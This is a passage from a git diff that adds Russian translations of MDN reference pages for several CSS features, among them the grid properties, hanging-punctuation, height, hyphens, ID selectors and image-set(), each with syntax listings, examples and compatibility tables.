  • Связанные CSS свойства: {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template")}}
    • +
  • Grid Layout Guide: Grid template areas
    • +
  • Video tutorial: Grid Template Areas
    • +
+ + + +
+
+
diff --git a/files/ru/web/css/grid-template-columns/index.html b/files/ru/web/css/grid-template-columns/index.html new file mode 100644 index 0000000000..f1d604ac39 --- /dev/null +++ b/files/ru/web/css/grid-template-columns/index.html @@ -0,0 +1,207 @@ +--- +title: grid-template-columns +slug: Web/CSS/grid-template-columns +tags: + - CSS Grid + - CSS сетка + - grid +translation_of: Web/CSS/grid-template-columns +--- +

CSS свойство grid-template-columns определяет имена линий и функции гибкости линий. {{glossary("grid column", "grid columns")}}. Другими словами, задаёт количество столбцов "колонок" в сетке и может определять ширину каждой из них.

+ +

{{EmbedInteractiveExample("pages/css/grid-template-columns.html")}}

+ +

Синтаксис

+ +
/* Keyword value */
+grid-template-columns: none;
+
+/* <track-list> values */
+grid-template-columns: 100px 1fr;
+grid-template-columns: [linename] 100px;
+grid-template-columns: [linename1] 100px [linename2 linename3];
+grid-template-columns: minmax(100px, 1fr);
+grid-template-columns: fit-content(40%);
+grid-template-columns: repeat(3, 200px);
+
+/* <auto-track-list> values */
+grid-template-columns: 200px repeat(auto-fill, 100px) 300px;
+grid-template-columns: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-columns: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-columns: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+/* Global values */
+grid-template-columns: inherit;
+grid-template-columns: initial;
+grid-template-columns: unset;
+
+ +

Значения

+ +
+
none
+
Это ключевое слово означает, что нет никакой явной сетки. Любые столбцы будут создаваться неявно, и их размер будет определяться свойством {{cssxref("grid-auto-columns")}} .
+
{{cssxref("<length>")}}
+
Не-отрицательная длина.
+
{{cssxref("<percentage>")}}
+
Не-отрицательное {{cssxref("percentage", "<percentage>")}} значение относительно встроенного контейнера сетки. Если размер сетки контейнера зависим от размера ряда элементов, то процент будет установлен автоматически.
+ Ручное изменение размера элемента в процентах, приведёт к корректировочному изменению размера контейнера, и увеличит размер ряда на минимальную величину, необходимую для соблюдения процентного соотношения.  
+
{{cssxref("<flex>")}}
+
Не-отрицательное значение с единицей измерения fr, которая строго определяет flex фактор линий (track’s flex factor, фактор гибкости линий). Каждая <flex>-размерная линия берёт оставшееся пространство пропорционально flex фактору. +

Когда из вне появляется minmax() , это предпологает автоматический минимум  (т.е. minmax(auto, <flex>)).

+
+
max-content
+
Ключевое слово обозначающее самый большой из максимальных контентов элементов расположенных в данном треке.
+
min-content
+
Ключевое слово обозначающее самый большой из минимальных контентов элементов расположенных в данном треке.
+
{{cssxref("minmax", "minmax(min, max)")}}
+
Функциональное обозначение, которое задает диапазон больший или равный min и меньший или равный max. Если max меньше чем min, тогда max игнорируется и эта функция рассматривается как min. Максимумом значение <flex> устанавливает flex фактор линии (track’s flex factor). Оно не действительно как минимальное.
+
auto
+
Это ключевое слово идентично max-content, если оно максимальное. Как минимальное, оно представляет наиболее минимальный размер (который определен в свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элементов сетки, занимающих данный трек.
+
+

Обратите внимание: Только auto размеры трека могут быть растянуты свойствами {{cssxref("align-content")}} и {{cssxref("justify-content")}}.

+
+
{{cssxref("fit-content", "fit-content( [ <length> | <percentage> ] )")}}
+
Представляет формулу min(max-content, max(auto, argument)), которая вычисляется подобно auto (т.е. minmax(auto, max-content)), за исключением того, что размер трека ограничивается argument, если он больше минимума по auto.
+
{{cssxref("repeat", "repeat( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> )")}}
+
Представляет собой повторяющийся фрагмент ряда элементов, позволяющий большому количеству колонок (по сути являющихся повторяющейся комбинацией), быть написанной в более компактном виде.
+
subgrid
+
Значение subgrid означает, что сетка наследует часть родительской сетки, в которой располагается. Вместо явного определения, размеры сетки берутся из определения сетки родительского элемента.
+
+ +
+

Значение subgrid определено во втором уровне спецификации Grid, и в текущий момент реализовано только в Firefox 71 и более поздних версиях.

+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

CSS

+ +
#grid {
+  display: grid;
+  width: 100%;
+  grid-template-columns: 50px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}
+ +

HTML

+ +
<div id="grid">
+  <div id="areaA">A</div>
+  <div id="areaB">B</div>
+</div>
+ +

Результат

+ +

{{EmbedLiveSample("Пример", "100%", "20px")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS3 Grid", "#propdef-grid-template-columns", "grid-template-columns")}}{{Spec2("CSS Grid")}}Initial definition
{{SpecName("CSS Grid 2", "#subgrids", "subgrid")}}{{Spec2("CSS Grid 2")}}Adds subgrid
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.grid-template-columns")}}

+ +

Смотрите также

+ + + + diff --git a/files/ru/web/css/grid-template-rows/index.html b/files/ru/web/css/grid-template-rows/index.html new file mode 100644 index 0000000000..7e61d9527e --- /dev/null +++ b/files/ru/web/css/grid-template-rows/index.html @@ -0,0 +1,196 @@ +--- +title: grid-template-rows +slug: Web/CSS/grid-template-rows +translation_of: Web/CSS/grid-template-rows +--- +

grid-template-rows — этоCSS свойство,  которое определяет названия линий и путь размера функции  {{glossary("grid rows", "grid rows")}}.

+ +
/* Keyword value */
+grid-template-rows: none;
+
+/* <track-list> values */
+grid-template-rows: 100px 1fr;
+grid-template-rows: [linename] 100px;
+grid-template-rows: [linename1] 100px [linename2 linename3];
+grid-template-rows: minmax(100px, 1fr);
+grid-template-rows: fit-content(40%);
+grid-template-rows: repeat(3, 200px);
+
+/* <auto-track-list> values */
+grid-template-rows: 200px repeat(auto-fill, 100px) 300px;
+grid-template-rows: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-rows: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-rows: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+/* Global values */
+grid-template-rows: inherit;
+grid-template-rows: initial;
+grid-template-rows: unset;
+
+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Это свойство может быть указано как:

+ +
    +
  • либо с помощью ключегого слова: none
    • +
  • или значением <track-list> ,
    • +
  • или значением <auto-track-list> .
    • +
+ +

Значения

+ +
+
none
+
Ключевое слово, обозначающее, что явной сетки нет. Любые строки будут сгенерированны неявно, а их размер будет определяться свойством: {{cssxref("grid-auto-rows")}} .
+
<length>
+
Неотрицательное значение размера.
+
<percentage>
+
Неотрицательное значение {{cssxref("percentage", "<percentage>")}} , относительно размера блока сетки контейнера. Если размер сетки контейнера зависит от размера его пути, то процент должен рассматриваться как auto. Собственный размер вкладов пути может быть скорректирован в соответствии с размером сетки контейнера и увеличить конечный размер пути на минимальную величину, которая привела бы к учету процента.
+

+ {{cssxref("<flex_value>","<flex>")}}
+ Is a non-negative dimension with the unit fr specifying the track’s flex factor. Each <flex>-sized track takes a share of the remaining space in proportion to its flex factor. When appearing outside a minmax() notation, it implies an automatic minimum (i.e. minmax(auto, <flex>)).
+
max-content
+
Is a keyword representing the largest maximal content contribution of the grid items occupying the grid track.
+
min-content
+
Is a keyword representing the largest minimal content contribution of the grid items occupying the grid track.
+
{{cssxref("minmax", "minmax(min, max)")}}
+
Это CSS функция, определяющая диапазон размеров, который больше или равен min и меньше или равен max. Если max меньше чем min, то max игнорируется и функция обрабатывается как min. As a maximum, a <flex> value sets the track’s flex factor. It is invalid as a minimum.
+
auto
+
Is a keyword that is identical to maximal content if it's a maximum. As a minimum it represents the largest minimum size (as specified by {{cssxref("min-width")}}/{{cssxref("min-height")}}) of the grid items occupying the grid track.
+
+

Note: auto track sizes (and only auto track sizes) can be stretched by the {{cssxref("align-content")}} and {{cssxref("justify-content")}} properties.

+
+
{{cssxref("fit-content", "fit-content( [ <length> | <percentage> ] )")}}
+
Represents the formula min(max-content, max(auto, argument)), which is calculated similar to auto (i.e. minmax(auto, max-content)), except that the track size is clamped at argument if it is greater than the auto minimum.
+
{{cssxref("repeat", "repeat( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> )")}}
+
Represents a repeated fragment of the track list, allowing a large number of rows that exhibit a recurring pattern to be written in a more compact form.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +

CSS

+ +
#grid {
+  display: grid;
+  height: 100px;
+  grid-template-rows: 30px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}
+ +

HTML

+ +
<div id="grid">
+  <div id="areaA">A</div>
+  <div id="areaB">B</div>
+</div>
+ +

Result

+ +

{{EmbedLiveSample("Examples", "40px", "100px")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Grid", "#propdef-grid-template-rows", "grid-template-rows")}}{{Spec2("CSS3 Grid")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.grid-template-rows")}}

+ +

See also

+ + + + diff --git a/files/ru/web/css/grid/index.html b/files/ru/web/css/grid/index.html new file mode 100644 index 0000000000..72a79c9131 --- /dev/null +++ b/files/ru/web/css/grid/index.html @@ -0,0 +1,247 @@ +--- +title: grid +slug: Web/CSS/grid +tags: + - CSS + - CSS свойства + - CSS сетка + - Ссылки +translation_of: Web/CSS/grid +--- +

Общие сведения

+ +

Свойство CSS grid является сокращенной формой записи, которая  устанавливает значения для всех явных свойств сетки  (grid)  ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}},  и {{cssxref("grid-template-areas")}}), всех неявных свойств сетки (grid) ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, и {{cssxref("grid-auto-flow")}}), и свойств для промежутков между рядами и столбцами сетки ({{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}) в одной строчке.

+ +

Note: В одной строке grid могут быть описаны свойства только одного вида: явные или неявные. Подсвойства, которые не были описаны, принимают, как и в других сокращенных формах записи свойств, значения по умолчанию. Кроме того, при помощи сокращенной формы записи значения свойств для промежутков между рядами и столбцами сетки по умолчанию сбрасываются, несмотря на то, что они не могут быть установленны в сокращенной форме записи.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* <'grid-template'> значения*/
+grid: none;
+grid: "a" 100px "b" 1fr;
+grid: [linename1] "a" 100px [linename2];
+grid: "a" 200px "b" min-content;
+grid: "a" minmax(100px, max-content) "b" 20%;
+grid: 100px / 200px;
+grid: minmax(400px, min-content) / repeat(auto-fill, 50px);
+
+/* <'grid-template-rows'> /
+   [ auto-flow && dense? ] <'grid-auto-columns'>? values */
+grid: 200px / auto-flow;
+grid: 30% / auto-flow dense;
+grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px;
+grid: [line1] minmax(20em, max-content) / auto-flow dense 40%;
+
+/* [ auto-flow && dense? ] <'grid-auto-rows'>? /
+   <'grid-template-columns'> values */
+grid: auto-flow / 200px;
+grid: auto-flow dense / 30%;
+grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px);
+grid: auto-flow dense 40% / [line1] minmax(20em, max-content);
+
+/* Global values */
+grid: inherit;
+grid: initial;
+grid: unset;
+
+ +

Значения

+ +
+
<'grid-template'>
+
Определяет {{cssxref("grid-template")}} (шаблон сетки) включая {{cssxref("grid-template-columns")}} (столбцы), {{cssxref("grid-template-rows")}}  (ряды) и {{cssxref("grid-template-areas")}} (области).
+
<'grid-template-rows'> / [ auto-flow && dense? ] <'grid-auto-columns'>?
+
Устанавливает auto-flow явно задавая  размещение по рядам с помощью  свойства {{cssxref("grid-template-rows")}} (и устанавливая свойство {{cssxref("grid-template-columns")}} в значение none) и уточняет, как должно работать авто-повторение столбцов при помощи свойства {{cssxref("grid-auto-columns")}} (и устанавливая {{cssxref("grid-auto-rows")}} в значение auto). Свойство {{cssxref("grid-auto-flow")}} может быть так же установлено для столбцев со свойством dense если оно определено.
+
+

Все остальные подсвойства grid сбрасываются в их начальные значения .

+
+
[ auto-flow && dense? ] <'grid-auto-rows'>? / <'grid-template-columns'>
+
Устанавливает auto-flow явно задавая  размещение по столбцам с помощью  свойства {{cssxref("grid-template-columns")}} (и устанавливая свойство {{cssxref("grid-template-rows")}} в значение none) и уточняет, как должно работать авто-повторение рядов при помощи свойства {{cssxref("grid-auto-rows")}} (и устанавливая {{cssxref("grid-auto-columns")}} в значение auto). Свойство {{cssxref("grid-auto-flow")}} может быть так же установлено для рядов со свойством dense если оно определено. +

Все остальные подсвойства grid сбрасываются в их начальные значения .

+
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML Content

+ +
<div id="container">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+ +

CSS Content

+ +
#container {
+  display: grid;
+  grid: repeat(2, 60px) / auto-flow 80px;
+}
+
+#container > div {
+  background-color: #8ca0ff;
+  width: 50px;
+  height: 50px;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Example", "100%", 150)}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS3 Grid", "#propdef-grid", "grid")}}{{Spec2("CSS3 Grid")}}Начальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("57.0")}}[1]{{CompatNo}}[3]{{CompatGeckoDesktop("52.0")}}[2]{{CompatNo}}[3]{{CompatOpera(44)}}[4]{{CompatNo}}[5]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome("57.0")}}[1]{{CompatChrome("57.0")}}[1]{{CompatGeckoDesktop("52.0")}}[2]{{CompatNo}}[3]{{CompatOperaMobile}}{{CompatNo}}
+
+ +

[1] Реализован до  функциональных возможностей экспериментальной веб-платформы в chrome://flags начиная с Chrome 29.0.

+ +

[2] Реализован за преимуществом layout.css.grid.enabled начиная с Gecko 40.0 {{geckoRelease("40.0")}}, имея значение по умолчанию false. Начиная с  Gecko 52.0 включено по умолчанию.

+ +

[3] Internet Explorer и Edge реализуют старую версию спецификации, которая не поддерживает сокращенную форму записи grid. Смотри request for updating the implementation.

+ +

[4] Реализован до  функциональных возможностей экспериментальной веб-платформы в chrome://flags начиная с Opera 28.0.

+ +

[5] Экспериментальная реализация доступна в Safari Technological Preview.

+ +

Смотрите также

+ +
    +
  • Звязанные свойства CSS: {{cssxref("grid-template")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-flow")}}
    • +
  • Руководство по разметке сетки: Line-based placement with CSS Grid
    • +
  • Руководство по разметке сетки: Grid template areas - Grid definition shorthands
    • +
+ + diff --git a/files/ru/web/css/hanging-punctuation/index.html b/files/ru/web/css/hanging-punctuation/index.html new file mode 100644 index 0000000000..fe8ed1a6a4 --- /dev/null +++ b/files/ru/web/css/hanging-punctuation/index.html @@ -0,0 +1,117 @@ +--- +title: hanging-punctuation +slug: Web/CSS/hanging-punctuation +tags: + - CSS +translation_of: Web/CSS/hanging-punctuation +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Свойство hanging-punctuation определяет как браузер будет отображать знаки пунктуации, попадающие в начало или в конец строки. Висячая пунктуация может располагаться за границами контейнера. 

+ +
/* Значения ключевых слов */
+hanging-punctuation: none;
+hanging-punctuation: first;
+hanging-punctuation: last;
+hanging-punctuation: force-end;
+hanging-punctuation: allow-end;
+
+/* Два ключевых слова */
+hanging-punctuation: first force-end;
+hanging-punctuation: first allow-end;
+hanging-punctuation: first last;
+hanging-punctuation: last force-end;
+hanging-punctuation: last allow-end;
+
+/* Три ключевых слова */
+hanging-punctuation: first force-end last;
+hanging-punctuation: first allow-end last;
+
+/* Общие значения */
+hanging-punctuation: inherit;
+hanging-punctuation: initial;
+hanging-punctuation: unset;
+
+ +

{{CSSInfo}}

+ +

Синтаксис

+ +

Свойство hanging-punctuation  может быть определено с помощью одного, двух или трех ключевых слов.

+ +
    +
  • Для одного значения может быть использовано любое из описанных ниже значений.
    • +
  • Для двух значений используются следующие варианты: +
      +
    • first вместе с одним из last, allow-end или force-end
      • +
    • last вместе с одним из first, allow-end или force-end
      • +
    +
    • +
  • Для трех значений используются один из следующих вариантов: +
      +
    • first, allow-end и last
      • +
    • first, force-end и last
      • +
    +
    • +
+ +

Значения

+ +
+
none
+
Никакие символы не выносятся.
+
first
+
Открывающая скобка или кавычка в начале первой строки выровненного элемента будет вынесена.
+
last
+
Закрывающая скобка или кавычка последней строки выровненного элемента будет вынесена.
+
force-end
+
Точка или запятая в конце строки выносится.
+
allow-end
+
Точка или запятая в конце строки будет вынесена, если нет лучшего варианта для выравнивания.
+
+ +

Формальный синтаксис

+ +
{{CSSSyntax}}
+ +

Пример

+ +

HTML

+ +
<p>“Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur dignissim nunc mauris, et sollicitudin est scelerisque sed. Praesent laoreet tortor massa, sit amet vulputate nulla pharetra ut.”</p>
+ +

CSS

+ +
p {
+  hanging-punctuation: first last;
+  margin: .5rem;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Пример")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Text", "#hanging-punctuation-property", "hanging-punctuation")}}{{Spec2("CSS3 Text")}}Initial definition
+ +

Браузерная совместимость

+ + + +

{{Compat("css.properties.hanging-punctuation")}}

diff --git a/files/ru/web/css/height/index.html b/files/ru/web/css/height/index.html new file mode 100644 index 0000000000..f1c79b7501 --- /dev/null +++ b/files/ru/web/css/height/index.html @@ -0,0 +1,175 @@ +--- +title: height +slug: Web/CSS/height +translation_of: Web/CSS/height +--- +
{{CSSRef}}
+ +

CSS атрибут height позволят обозначать высоту элемента. По умолчанию, свойство определяет высоту внутренней области. Если {{cssxref("box-sizing")}} имеет значение border-box, то свойство будет определять высоту области рамки.
+
+ {{EmbedInteractiveExample("pages/css/height.html")}}

+ + + +


+ Атрибуты {{cssxref("min-height")}} и {{cssxref("max-height")}} при добавлении меняют значение {{Cssxref("height")}}.

+ +

Синтаксис

+ +
/* Значения-ключевые слова */
+height: auto;
+
+/* <length> значения */
+height: 120px;
+height: 10em;
+
+/* <percentage> значения */
+height: 75%;
+
+/* Глобальные значения */
+height: inherit;
+height: initial;
+height: unset;
+
+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Высота - фиксированная величина.
+
{{cssxref("<percentage>")}}
+
Высота в процентах - размер относительно высоты родительского блока.
+
border-box {{experimental_inline}}
+
Если присутствует, то предшествующие {{cssxref("<length>")}} или {{cssxref("<percentage>")}} применяются к области рамки элемента.
+
content-box {{experimental_inline}}
+
Если присутствует, то предшествующие {{cssxref("<length>")}} or {{cssxref("<percentage>")}} применяются к внутренней области элемента.
+
auto
+
Браузер рассчитает и выберет высоту для указанного элемента.
+
fill {{experimental_inline}}
+
Использует fill-available размер строки или fill-available размер блока, в зависимости от способа разметки.
+
max-content {{experimental_inline}}
+
Внутренняя максимальная предпочтительная высота.
+
min-content {{experimental_inline}}
+
Внутренняя минимальная предпочтительная высота.
+
available {{experimental_inline}}
+
Высота содержащего блока минус вертикальные margin, border и padding.
+
fit-content {{experimental_inline}}
+
Наибольшее из: +
    +
  • внутренняя минимальная высота
    • +
  • меньшая из внутренней предпочтительной высоты и доступной высоты
    • +
+
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример:

+ +

HTML

+ +
<div id="taller">Я 50 пикселей в высоту.</div>
+<div id="shorter">Я 25 пикселей в высоту.</div>
+<div id="parent">
+  <div id="child">
+    Моя высота - половина от высоты родителя.
+  </div>
+</div>
+ +

CSS

+ +
div {
+  width: 250px;
+  margin-bottom: 5px;
+  border: 2px solid blue;
+}
+
+#taller {
+  height: 50px;
+}
+
+#shorter {
+  height: 25px;
+}
+
+#parent {
+  height: 100px;
+}
+
+#child {
+  height: 50%;
+  width: 75%;
+}
+ +

 

+ +

Результат

+ +

{{EmbedLiveSample('Example', 'auto', 240)}}

+ +

 

+ +

Проблемы доступности

+ +

Убедитесь, что элементы с height не обрезаются и / или не затеняют другое содержимое, когда страница масштабируется для увеличения размера текста. 

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}{{Spec2('CSS3 Sizing')}}Добавляет ключевые слова max-content, min-content, available, fit-content .
{{SpecName('CSS3 Transitions', '#animatable-css', 'height')}}{{Spec2('CSS3 Transitions')}}Определяет height как анимируемое.
{{SpecName('CSS2.1', 'visudet.html#the-height-property', 'height')}}{{Spec2('CSS2.1')}}Добавляет поддержку значений {{cssxref("<length>")}} и уточняет, к какому элементу применяется.
{{SpecName('CSS1', '#height', 'height')}}{{Spec2('CSS1')}}Первоначальное определение
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.height")}}

+ +

 

+ +

Смотрите также

+ +
    +
  • Блочная модель, {{cssxref("width")}}, {{cssxref("box-sizing")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}
    • +
diff --git a/files/ru/web/css/hyphens/index.html b/files/ru/web/css/hyphens/index.html new file mode 100644 index 0000000000..c6dc229c74 --- /dev/null +++ b/files/ru/web/css/hyphens/index.html @@ -0,0 +1,153 @@ +--- +title: hyphens +slug: Web/CSS/hyphens +translation_of: Web/CSS/hyphens +--- +
{{CSSRef}}
+ +

CSS свойство hyphens указывает, как следует переносить слова через дефис, когда текст переносится на несколько строк. Оно может полность запретить перенос, делать перенос в местах, заданных вручную или позволять браузеру автоматически расставлять переносы, где это необходимо.

+ +
{{EmbedInteractiveExample("pages/css/hyphens.html")}}
+ + + +

Правила расстановки переносов зависят от языка. В HTML язык определяется атрибутом lang, и браузеры применяют правила переноса только при присутствии данного атрибута и доступности соответствующего словаря для расстановки переносов. В XML необходимо использовать атрибут xml:lang.

+ +
+

Примечание: Правила, определяющие, как выполняется расстановка переносов, явно не определены в спецификации, поэтому точная расстановка переносов может варьироваться от браузера к браузеру.

+
+ +

Синтаксис

+ +
/* Keyword values */
+hyphens: none;
+hyphens: manual;
+hyphens: auto;
+
+/* Global values */
+hyphens: inherit;
+hyphens: initial;
+hyphens: unset;
+
+ +

Свойство hyphens задаётся как одно из ключевых значений, выбранного из списка ниже.

+ +

Значения

+ +
+
none
+
Слова не разрываются при переносе строки, даже если внутри слов указаны точки разрыва. Строки будут переноситься только по пробелам.
+
manual
+
Слова разрываются при переносе строки только там, где символы внутри слов указывают точки разрыва. Подробнее смотреть ниже  {{anch("Предлагаемые возможности разрыва строки")}}.
+
auto
+
Браузер может автоматически разбивать слова в соответствующих точках переноса, следуя любым правилам, которые он выбирает. Однако предлагаемые возможности разрыва строки (смотреть {{anch("Предлагаемые возможности разрыва строки")}} ниже) переопределят автоматический выбор точки разрыва, если таковые имеются.
+
+ +
+

Примечание: Поведение параметра auto зависит от того, на каком языке применяются правила переноса. Вы должны указать язык с помощью HTML атрибута  lang, чтобы гарантировать, что на этом языке применяется автоматическая расстановка переносов.

+
+ +

Предлагаемые возможности разрыва строки

+ +

Для указания потенциальных точек разрыва строки в тексте вручную используются два символа Unicode:

+ +
+
U+2010 (HYPHEN)
+
«Жесткий» дефис указывает на возможность видимого разрыва строки. Даже если строка в этом месте не переносится, дефис все равно отображается.
+
U+00AD (SHY)
+
Невидимый «мягкий» перенос. Этот символ не отображается визуально, вместо этого он отмечает место, где браузер должен разорвать слово, если расстановка переносов необходима. В HTML, используйте &shy; для вставки мягкого дефиса.
+
+ +
+

Когда HTML элемент <wbr> приводит к разрыву строки, дефис не добавляется.

+
+ +

Формальное определение

+ +

{{cssinfo}}

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Указание переносов текста

+ +

В этом примере используются три класса, по одному для каждой возможной конфигурации свойства hyphens.

+ +

HTML

+ +
<dl>
+  <dt><code>none</code>: no hyphen; overflow if needed</dt>
+  <dd lang="en" class="none">An extreme&shy;ly long English word</dd>
+  <dt><code>manual</code>: hyphen only at &amp;hyphen; or &amp;shy; (if needed)</dt>
+  <dd lang="en" class="manual">An extreme&shy;ly long English word</dd>
+  <dt><code>auto</code>: hyphens where the algorithm decides (if needed)</dt>
+  <dd lang="en" class="auto">An extreme&shy;ly long English word</dd>
+</dl>
+
+ +

CSS

+ +
dd {
+  width: 55px;
+  border: 1px solid black;
+ }
+dd.none {
+  -webkit-hyphens: none;
+  -ms-hyphens: none;
+  hyphens: none;
+}
+dd.manual {
+  -webkit-hyphens: manual;
+  -ms-hyphens: manual;
+  hyphens: manual;
+}
+dd.auto {
+  -webkit-hyphens: auto;
+  -ms-hyphens: auto;
+  hyphens: auto;
+}
+
+ +

Результат

+ +
+

{{EmbedLiveSample("Specifying_text_hyphenation", "100%", 490)}}

+
+ +

Характеристики

+ + + + + + + + + + + + + + + + +
ХарактеристикаСтатусКомментарий
{{SpecName("CSS3 Text", "#hyphens-property", "hyphens")}}{{Spec2("CSS3 Text")}}Первоначальное определение
+ +

Совместимость с браузером

+ +
+ + +

{{Compat("css.properties.hyphens")}}

+
+ +

Смотрите также

+ +
    +
  • {{Cssxref("content")}}
    • +
  • {{cssxref("overflow-wrap")}} (formerly word-wrap)
    • +
  • {{cssxref("word-break")}}
    • +
diff --git a/files/ru/web/css/id_selectors/index.html b/files/ru/web/css/id_selectors/index.html new file mode 100644 index 0000000000..f8a61526dc --- /dev/null +++ b/files/ru/web/css/id_selectors/index.html @@ -0,0 +1,117 @@ +--- +title: Селекторы по ID +slug: Web/CSS/ID_selectors +translation_of: Web/CSS/ID_selectors +--- +
{{ CSSRef() }}
+ +

Краткое описание

+ +

В HTML-документах CSS-селекторы по ID производят выборку всех элементов по ID, полностью совпадающих с селектором.

+ +

Синтаксис

+ +
#id_value { style properties }
+ +

То же самое  — {{ Cssxref("Attribute_selectors", "селектор по атрибутам") }}:

+ +
[id=id_value] { style properties }
+ +

Пример

+ +
span#identified {
+  background-color: DodgerBlue;
+}
+
+ +
<span id="identified">Тут span с каким-то текстом.</span>
+<span>Здесь тоже span.</span>
+
+ +

{{ EmbedLiveSample('Example', 200, 50) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS4 Selectors', '#id-selectors', 'ID selectors') }}{{ Spec2('CSS4 Selectors') }} 
{{ SpecName('CSS3 Selectors', '#id-selectors', 'ID selectors') }}{{ Spec2('CSS3 Selectors') }} 
{{ SpecName('CSS2.1', 'selector.html#id-selectors', 'ID selectors') }}{{ Spec2('CSS2.1') }} 
{{ SpecName('CSS1', '#id-as-selector', 'ID selectors') }}{{ Spec2('CSS1') }}Изначальное определение
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
diff --git a/files/ru/web/css/image-set()/index.html b/files/ru/web/css/image-set()/index.html new file mode 100644 index 0000000000..f837d98a4b --- /dev/null +++ b/files/ru/web/css/image-set()/index.html @@ -0,0 +1,78 @@ +--- +title: image-set() +slug: Web/CSS/image-set() +translation_of: Web/CSS/image-set() +--- +
{{cssref}}
+ +

CSS функция image-set() это способ позволить браузеру выбрать наиболее подходящее изображение CSS из заданного набора, в первую очередь для экранов с высокой плотностью пикселей.

+ +

Разрешение экрана и пропускная способность могут отличаться в зависимости от устройства и доступа к сети. Функция image-set()  обеспечивает наиболее подходящее разрешение изображения для устройства пользователя, предоставляя набор параметров изображения — каждый с соответствующим объявлением разрешения — из которых браузер выбирает наиболее подходящее для устройства и настроек. Разрешение может использоваться в качестве прокси для размера файла — клиент на медленном мобильном соединении с экраном высокого разрешения может предпочесть получать изображения с более низким разрешением, а не ждать загрузки изображения с более высоким разрешением.

+ +

image-set() позволяет автору предоставлять параметры, а не определять, что нужно каждому отдельному пользователю.

+ +

Синтаксис

+ +
image-set() = image-set( <image-set-option># )
+где <image-set-option> = [ <image> | <string> ] <resolution> и
+      <string> в качестве <url>
+
+ +

Значения

+ +

Чаще всего вы можете увидеть значение url() как <string>, но <image> может быть любым типом изображения, кроме набора изображений. Функция image-set() не может быть вложена в другую функцию image-set().

+ +

Блоки <resolution> включают в себя x или ddpx, для точек на пиксель, dpi для точек на дюйм, и dpcm для точек на сантиметр. Каждое изображение в наборе image-set() должно иметь уникальное разрешение.

+ +

Примеры

+ +
background-image: image-set( "cat.png" 1x,
